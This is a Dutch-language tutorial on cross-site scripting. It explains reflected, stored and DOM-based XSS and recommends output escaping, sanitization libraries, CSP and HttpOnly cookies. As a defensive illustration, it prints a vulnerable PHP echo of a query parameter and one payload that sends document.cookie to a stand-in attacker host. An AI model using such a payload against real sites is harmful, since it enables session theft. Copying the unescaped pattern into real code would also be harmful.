Een XSS-aanval (Cross-Site Scripting) ontstaat wanneer een aanvaller kwaadaardige JavaScript injecteert in een webpagina die het slachtoffer vertrouwt, zodat de code in diens browser draait. Omdat de pagina vanaf jouw domein wordt geserveerd, kan die code bij sessiecookies, local storage en alles wat de ingelogde gebruiker mag doen. XSS staat al jaren op de OWASP-lijst van kritieke webkwetsbaarheden, en toch komt het voort uit één basisfout: data van gebruikers in de HTML-uitvoer plaatsen zonder die te controleren.
Hoe werkt een XSS-aanval precies?
De problemen beginnen wanneer een webapplicatie gebruikersinvoer (een zoekterm, een reactie, een profielnaam) ongewijzigd in de HTML schrijft. De browser parseert alles wat op de pagina belandt en interpreteert tags als <script> als uit te voeren code. Dat is precies waar een aanvaller op mikt: hij plaatst code, geen tekst, in een dataveld.
Stel dat een zoekpagina de query rechtstreeks op het scherm afdrukt:
<p>Resultaat: <?= $_GET['q'] ?></p>
Als de aanvaller de parameter q instelt op:
<script>fetch('https://kwaad.site/c?'+document.cookie)</script>
voert de browser dit uit als een echt script en stuurt de cookies van de gebruiker naar de server van de aanvaller. De kern van het probleem: data die als tekst getoond zou moeten worden, wordt geïnterpreteerd als HTML.
Het verschil tussen Reflected en Stored XSS
XSS kent drie hoofdvormen; de twee die je het vaakst tegenkomt zijn reflected en stored.
- Reflected XSS: De kwaadaardige code komt mee als onderdeel van het verzoek (meestal in een URL-parameter) en wordt direct teruggekaatst in het antwoord van de server. Het is niet persistent; het slachtoffer moet op een geprepareerde link klikken. Phishingmails en verkorte URL's zijn de belangrijkste dragers van dit type.
- Stored XSS: De kwaadaardige code wordt opgeslagen in de database (bijvoorbeeld een reactie of een profielveld) en geserveerd aan iedereen die die pagina opent. Eén enkele injectie kan duizenden gebruikers raken, wat het gevaarlijker maakt dan de reflected-variant.
- DOM-based XSS: De fout zit in de client-side JavaScript en niet op de server; die treedt op wanneer data onveilig wordt geschreven in iets als
innerHTML.
De basis van verdediging: output-escaping
De betrouwbaarste verdediging tegen XSS is om data te escapen op het moment dat je die uitvoert, afhankelijk van de context. Bij het schrijven in de HTML-body worden kritieke tekens omgezet naar onschadelijke equivalenten:
<→<>→>&→&"→"
Zo bereikt <script> de browser als platte tekst op het scherm en niet als code. In kale PHP doe je dit met htmlspecialchars:
<p>Resultaat: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>
Het belangrijkste is om te escapen in de juiste context. HTML-attributen, JavaScript-blokken, URL's en CSS vragen elk om andere escaping-regels. Pas escaping toe op basis van waar de data heen gaat.
Automatische escaping in moderne frameworks
Goed nieuws: de meeste moderne template-engines escapen output standaard. In de Blade-engine van Laravel past {{ $variable }} automatisch htmlspecialchars toe; om rauwe HTML af te drukken moet je bewust {!! $variable !!} schrijven. In React worden variabelen binnen JSX ook standaard ge-escaped; het gevaar begint pas wanneer je dangerouslySetInnerHTML gebruikt.
De regel die hieruit volgt is duidelijk: gebruik API's die rauwe HTML afdrukken alleen wanneer het echt nodig is en alleen met data die je vertrouwt. Laat nooit gebruikersinhoud via die wegen lopen.
Als je gebruikers-HTML nodig hebt: sanitization
Soms moet je gebruikers opgemaakte inhoud laten invoeren (vet, links, lijsten). Escaping helpt hier niet, want je wilt dat de HTML werkt. De oplossing is sanitization: de inhoud door een witte lijst van veilige tags halen en gevaarlijke delen als <script>, onerror en javascript: verwijderen.
Probeer dit niet zelf met regex te schrijven; die aanpak is vrijwel altijd te omzeilen. Gebruik volwassen bibliotheken:
- DOMPurify aan de clientzijde.
- HTML Purifier aan de PHP-zijde.
Deze tools draaien op parsers die jarenlang zijn verfijnd en blijven up-to-date tegen elke bekende omzeiltechniek.
Extra verdedigingslagen
Escaping is de primaire verdediging, maar voor diepgaande verdediging kun je lagen toevoegen:
- Content Security Policy (CSP): Met de header
Content-Security-Policybeperk je vanaf welke bronnen scripts geladen mogen worden. Een beleid dat inline scripts blokkeert, beperkt de schade zelfs als een injectie doorglipt. - HttpOnly-cookies: De sessiecookie als
HttpOnlymarkeren betekent dat JavaScript hem niet kan lezen, waardoor cookie-diefstal veel moeilijker wordt. - Invoervalidatie: Het verwachte formaat (e-mail, getal, datum) op de server valideren versmalt het aanvalsoppervlak — maar vervangt escaping niet.
Veelgestelde vragen
Als ik de invoer opschoon, moet ik dan nog escapen bij de output?
Ja. Invoervalidatie is nuttig maar op zichzelf onvoldoende, omdat dezelfde data in verschillende contexten (HTML, attribuut, JavaScript) getoond kan worden. Echte veiligheid komt van het per context escapen van de data, precies op het punt waar je die uitvoert.
Voorkomt het gebruik van HTTPS XSS?
Nee. HTTPS versleutelt data tijdens transport en voorkomt manipulatie op de lijn, maar XSS is code die binnen de pagina zelf draait. Een versleutelde verbinding houdt een kwaadaardig script niet tegen.
Ik heb alleen een statische site — loop ik toch risico?
Als je nooit gebruikersinvoer verwerkt of ergens afdrukt, is het risico op reflected/stored XSS heel laag. Maar zodra je reacties, zoekfunctie of een widget van derden toevoegt, gaat het aanvalsoppervlak open.
Wil je zeker weten dat je applicatie bestand is tegen XSS? Voor hulp bij een security-review, ontbrekende escaping en CSP-configuratie, neem contact met me op.